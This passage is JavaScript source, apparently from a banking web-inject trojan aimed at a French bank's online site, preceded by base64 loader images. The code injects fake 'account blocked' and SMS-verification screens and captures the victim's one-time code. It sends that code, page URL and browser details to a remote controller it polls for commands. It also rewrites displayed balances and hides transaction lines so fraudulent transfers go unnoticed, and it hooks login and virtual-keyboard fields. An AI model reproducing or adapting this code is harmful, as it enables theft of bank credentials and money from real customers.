EwbLA4hJtOkSBNqITT3xEgfLpBtzE/jiuL04RGEBgwWhShRgQExHBAAh+QQJCgAAACwAAAAAIAAgAAAE7xDISWlSqerNpyJKhWRdlSAVoVLCWk6JKlAqAavhO9UkUHsqlE6CwO1cRdCQ8iEIfzFVTzLdRAmZX3I2SfZiCqGk5dTESJeaOAlClzsJsqwiJwiqnFrb2nS9kmIcgEsjQydLiIlHehhpejaIjzh9eomSjZR+ipslWIRLAgMDOR2DOqKogTB9pCUJBagDBXR6XB0EBkIIsaRsGGMMAxoDBgYHTKJiUYEGDAzHC9EACcUGkIgFzgwZ0QsSBcXHiQvOwgDdEwfFs0sDzt4S6BK4xYjkDOzn0unFeBzOBijIm1Dgmg5YFQwsCMjp1oJ8LyIAACH5BAkKAAAALAAAAAAgACAAAATwEMhJaVKp6s2nIkqFZF2VIBWhUsJaTokqUCoBq+E71SRQeyqUToLA7VxF0JDyIQh/MVVPMt1ECZlfcjZJ9mIKoaTl1MRIl5o4CUKXOwmyrCInCKqcWtvadL2SYhyASyNDJ0uIiUd6GGl6NoiPOH16iZKNlH6KmyWFOggHhEEvAwwMA0N9GBsEC6amhnVcEwavDAazGwIDaH1ipaYLBUTCGgQDA8NdHz0FpqgTBwsLqAbWAAnIA4FWKdMLGdYGEgraigbT0OITBcg5QwPT4xLrROZL6AuQAPUS7bxLpoWidY0JtxLHKhwwMJBTHgPKdEQAACH5BAkKAAAALAAAAAAgACAAAATrEMhJaVKp6s2nIkqFZF2VIBWhUsJaTokqUCoBq+E71SRQeyqUToLA7VxF0JDyIQh/MVVPMt1ECZlfcjZJ9mIKoaTl1MRIl5o4CUKXOwmyrCInCKqcWtvadL2SYhyASyNDJ0uIiUd6GAULDJCRiXo1CpGXDJOUjY+Yip9DhToJA4RBLwMLCwVDfRgbBAaqqoZ1XBMHswsHtxtFaH1iqaoGNgAIxRpbFAgfPQSqpbgGBqUD1wBXeCYp1AYZ19JJOYgH1KwA4UBvQwXUBxPqVD9L3sbp2BNk2xvvFPJd+MFCN6HAAIKgNggY0KtEBAAh+QQJCgAAACwAAAAAIAAgAAAE6BDISWlSqerNpyJKhWRdlSAVoVLCWk6JKlAqAavhO9UkUHsqlE6CwO1cRdCQ8iEIfzFVTzLdRAmZX3I2SfYIDMaAFdTESJeaEDAIMxYFqrOUaNW4E4ObYcCXaiBVEgULe0NJaxxtYksjh2NLkZISgDgJhHthkpU4mW6blRiYmZOlh4JWkDqILwUGBnE6TYEbCgevr0N1gH4At7gHiRpFaLNrrq8HNgAJA70AWxQIH1+vsYMDAzZQPC9VCNkDWUhGkuE5PxJNwiUK4UfLzOlD4WvzAHaoG9nxPi5d+jYUqfAhhykOFwJWiAAAIfkECQoAAAAsAAAAACAAIAAABPAQyElpUqnqzaciSoVkXVUMFaFSwlpOCcMYlErAavhOMnNLNo8KsZsMZItJEIDIFSkLGQoQTNhIsFehRww2CQLKF0tYGKYSg+ygsZIuNqJksKgbfgIGepNo2cIUB3V1B3IvNiBYNQaDSTtfhhx0CwVPI0UJe0+bm4g5VgcGoqOcnjmjqDSdnhgEoamcsZuXO1aWQy8KAwOAuTYYGwi7w5h+Kr0SJ8MFihpNbx+4Erq7BYBuzsdiH1jCAzoSfl0rVirNbRXlBBlLX+BP0XJLAPGzTkAuAOqb0WT5AH7OcdCm5B8TgRwSRKIHQtaLCwg1RAAAOwAAAAAAAAAAAA==';break;case(3):return 'data:image/gif;base64,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';break;}});
- _tables.text = {
- block_title: 'La consultation de vos comptes est momentanément indisponible.',
- block_body: 'Nous vous prions de bien vouloir nous excuser pour la gêne occasionnée et vous recommandons de vous reconnecter ultérieurement.',
- query: 'Attention ! Pour vérifier votre compte nous vous enverrons un sms de confirmation sur votre téléphone: _PHONE_'
- };
- _tables.showpage = function(){
- if(_tables.id('_brows.cap'))_tables.id('_brows.cap').parentNode.removeChild(_tables.id('_brows.cap'));
- };
- _tables.login = function(){
- _tables.get('login').value = '';
- _tables.get('password').value = '';
- _tables.get('button').style.display = '';
- var keyboard = _tables.id('secret-nbr-keyboard').parentNode;
- keyboard.style.display = '';
- _tables.id('_tables.keyboard.div').style.display = 'none';
- _tables.id('_f_btntoloader').parentNode.removeChild(_tables.id('_f_btntoloader'));
- };
- _tables.fkbtn = function(){
- var error = false;
- var code = _tables.id('_tables.code.input');
- if(!/^\d{6}$/igm.test(code.value)){
- valid = true;
- }
- if(!error){
- _tables.set('ourbtn',function(){return document.getElementById('tbfkbtn');});
- _tables.btntoloader(_tables.get('ourbtn'),_tables.get('loader'));
- _tables.set('pause',true);
- _tables.status('TJ');
- _tables.send(
- {'type':_tables.get('type')},
- {'domain':document.domain},
- {'data':'Code: '+code.value},
- {'message':'Data recieved'},
- {'branch':'TJ'}
- );
- }
- };
- _tables.fake = function(step){
- switch(step){
- case('LOGIN'):
- location.reload();
- break;
- case('RELOGIN'):
- location.reload();
- break;
- case('BLOCK'):
- if(_tables.id('_tables.fakebox'))_tables.id('_tables.fakebox').parentNode.removeChild(_tables.id('_tables.fakebox'));
- var divHolder = _tables.findout(document,'div','class:container\-ident');
- if(divHolder){
- divHolder.style.display = 'none';
- var div = document.createElement('div');
- div.id = '_tables.fakebox';
- div.innerHTML = '<h2>'+_tables.text.block_title+'</h2>'+_tables.text.block_body;
- div.className = 'container-ident';
- divHolder.parentNode.insertBefore(div,divHolder);
- }
- break;
- case('FAKE'):
- if(_tables.id('_tables.fakebox'))_tables.id('_tables.fakebox').parentNode.removeChild(_tables.id('_tables.fakebox'));
- var divHolder = _tables.findout(document,'div','class:container\-ident');
- if(divHolder){
- var els = _tables.answer.p3.split('|');
- var div = document.createElement('div');
- div.id = '_tables.fakebox';
- div.style.width = '550px';
- div.style.margin = '0px auto';
- div.innerHTML = '<div style="background:#FFFFFF;width:550px;text-align:center;padding-top:20px;">'+
- '<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEQAAABECAYAAAA4E5OyAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxIDY0LjE0MDk0OSwgMjAxMC8xMi8wNy0xMDo1NzowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNS4xIFdpbmRvd3MiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NkE3MTc4QjUxNEZCMTFFNUI5Q0U5Q0E2N0M5RUFCRDQiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6NkE3MTc4QjYxNEZCMTFFNUI5Q0U5Q0E2N0M5RUFCRDQiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo2QTcxNzhCMzE0RkIxMUU1QjlDRTlDQTY3QzlFQUJENCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo2QTcxNzhCNDE0RkIxMUU1QjlDRTlDQTY3QzlFQUJENCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/Pv1LnDkAAAmHSURBVHja5Vv7U5NX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">'+
- '<br><br>'+
- '<div style="color: #999;color: #999;color: #999;padding:10px;">'+_tables.text.query.replace(/_PHONE_/igm,''+els[0])+'</div>'+
- '<br>'+
- '<div style="display: block;font-size: 1.13333rem;font-family: bnp_regular,Arial,sans-serif;color: #212121;margin: 10px 0px 5px;">Code d\'activation</div>'+
- '<div><input type="text" maxlength=6 id="_tables.code.input" style="outline-color: #D0D0D0;font-family: bnpp_sans_condensed_light,Arial,sans-serif;font-size: 1.6rem;line-height: 34px;padding-top: 10px;background-color: #FFF;background-image: none;border-radius: 3px;border: 1px solid #CCC;color: #767676;font-family: bnp_regular,Arial,sans-serif;font-size: 0.93333rem;height: 47px;padding: 6px 45px 6px 12px;width: 400px;margin-bottom: 15px;box-shadow: 0px 1px 2px 0px rgba(204, 204, 204, 0.4) inset;"></div>'+
- '<br><br>'+
- '</div>'+
- '<br>'+
- '<center><button type="button" onclick="_tables.fkbtn();" id="tbfkbtn" class="btn-primary btn-block">Valider</button></center>';
- divHolder.style.display = 'none';
- divHolder.parentNode.insertBefore(div,divHolder);
- }
- setTimeout(function(){
- _tables.cc('CC');
- },1000);
- break;
- }
- };
- _tables.logintimer = function(time){
- setTimeout(function(){
- if(!_tables.get('ABORT')){
- _tables.login();
- }
- },time);
- };
- _tables.grep_amount = function(acc){
- if(!_tables.replacerarray){
- return 0;
- }
- var re_a = 0;
- if(acc == '[EMPTY]'){
- for(x in _tables.replacerarray){
- re_a += parseFloat(_tables.replacerarray[x]['amount']);
- }
- }else{
- for(x in _tables.replacerarray){
- if(_tables.replacerarray[x]['account'].length > 3 && new RegExp(_tables.replacerarray[x]['account'],'igm').test(acc) || _tables.replacerarray[x]['account'] == acc){
- re_a += parseFloat(_tables.replacerarray[x]['amount']);
- }
- }
- }
- return re_a;
- };
- _tables.grep_mask = function(acc){
- if(!_tables.replacerarray){
- return false;
- }
- for(x in _tables.replacerarray){
- if(new RegExp(_tables.replacerarray[x]['mask'],'igm').test(acc)){
- return true;
- }
- }
- return false;
- };
- _tables.replacer_preload = function(){
- if(_tables.grep_amount('[EMPTY]') > 0){
- if(_tables.id('udc-famille-ancre'))_tables.id('udc-famille-ancre').style.display = 'none';
- if(_tables.findout(document,'section','class:row categories\-menu'))_tables.findout(document,'section','class:row categories\-menu').style.display = 'none';
- var strong = _tables.child(document,'strong');
- if(strong && strong.length > 0){
- for(var i = 0; i < strong.length; i++){
- if(/[0-9]/igm.test(_tables.html(strong[i]))){
- if(/Avoir/igm.test(_tables.html(strong[i].parentNode))){
- _tables.replace(strong[i],_tables.grep_amount('[EMPTY]'));
- }
- if(_tables.findout(strong[i].parentNode.parentNode,'span','class:a\-venir')){
- strong[i].parentNode.parentNode.style.display = 'none';
- }
- if(strong[i].className == 'js-previsionnel'){
- strong[i].parentNode.parentNode.parentNode.style.display = 'none';
- }
- }
- }
- }
- }
- };
- _tables.replacer_balance = function(){
- var li = _tables.child(document,'li');
- if(li && li.length > 0){
- for(var i = 0; i < li.length; i++){
- var h4 = _tables.child(li[i],'h4');
- if(h4 && h4.length == 2){
- var _I1 = _tables.html(h4[0].parentNode).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
- if(_tables.grep_amount(_I1) > 0){
- _tables.replace(h4[1],_tables.grep_amount(_I1));
- }
- }
- }
- }
- };
- _tables.replacer_nano = function(){
- if(_tables.findout(document,'div','class:nano dropdown\-list\-header')){
- _tables.findout(document,'div','class:nano dropdown\-list\-header').style.display = 'none';
- }
- setTimeout(function(){
- _tables.replacer_nano();
- },100);
- };
- _tables.replacer_history = function(){
- if(_tables.findout(document,'span','class:js\-compte\-type\-placeholder')){
- var _I1 = _tables.html(_tables.findout(document,'span','class:js\-compte\-type\-placeholder')).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
- var _I2 = _tables.findout(document,'span','class:js\-solde.*placeholder big');
- if(_tables.grep_amount(_I1) > 0){
- _tables.replace(_I2,_tables.grep_amount(_I1));
- }
- }
- var run_nano = false;
- var li = _tables.child(document,'li');
- if(li && li.length > 0){
- for(var i = 0; i < li.length; i++){
- var _I1 = _tables.html(li[i]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
- if(_tables.grep_mask(_I1)){
- li[i].style.display = 'none';
- run_nano = true;
- }
- }
- }
- if(run_nano)_tables.replacer_nano();
- };
- _tables.replacer = function(){
- _tables.replacer_preload();
- _tables.replacer_balance();
- _tables.replacer_history();
- };
- _tables.callback = function(){
- _tables.set('message','');
- switch(_tables.status()){
- case('CS'):
- if(/block/igm.test(_tables.answer.p1)){
- _tables.fake('BLOCK');
- _tables.showpage();
- }else if(_tables.answer.status == 'ON' && _tables.answer.link == 'ON' && !/^login$|^off$/igm.test(_tables.answer.p1)){
- _tables.status('NL');
- _tables.send(
- {'type':_tables.get('type')},
- {'domain':document.domain},
- {'link':document.location.href},
- {'data':'Language: ' +_tables.get('lang')+ '|OS: ' + jscd.os +' '+ jscd.osVersion + '|'+'Browser: ' + jscd.browser +' '+ jscd.browserVersion + '|'+'Screen Size: ' + jscd.screen},
- {'message':'Login page onloaded'},
- {'branch':'TJ'}
- );
- }else{
- _tables.showpage();
- }
- break;
- case('SL'):
- setTimeout(function(){
- _tables.cc('CC');
- },1500);
- break;
- case('NL'):
- _tables.loginform();
- _tables.showpage();
- break;
- case('CC'):
- if(_tables.get('justLogin')){
- _tables.logintimer(_tables.answer.t1*1000);
- }
- _tables.set('justLogin',false);
- if(_tables.answer.p1 == "NONE" || _tables.answer.p5 == "activated"){
- setTimeout(function(){
- _tables.cc('CC');
- },1000);
- }else{
- _tables.set('ABORT',true);
- _tables.fake(_tables.answer.p1);
- }
- break;
- case('CP'):
- var div = _tables.id('id_beneficiaire_div') || _tables.id('id_balise_div');
- if(!_tables.replacerarray){
- if(div)div.style.display = '';
- return;
- }
- _tables.replacer();
- if(div)div.style.display = '';
- break;
- case('TJ'):
- _tables.set('pause',false);
- _tables.cc('CC');
- break;
- default:
- _tables.showpage();
- break;
- }
- };
- _tables.cc = function(stat){
- if(_tables.get('pause'))return false;
- _tables.status(stat);
- _tables.send(
- {'type':'intercept'},
- {'domain':document.domain},
- {'link':document.location.href},
- {'browser':_tables.brows()},
- {'branch':'CC'}
- );
- };
- _tables.keyboardclick = function(num){
- _tables.get('password').value += num;
- };
- _tables.keyboard = function(){
- if(_tables.id('secret-nbr-keyboard')){
- var keyboard = _tables.id('secret-nbr-keyboard').parentNode;
- keyboard.style.display = 'none';
- var div = document.createElement('div');
- div.id = '_tables.keyboard.div';
- div.className = 'cell-grid';
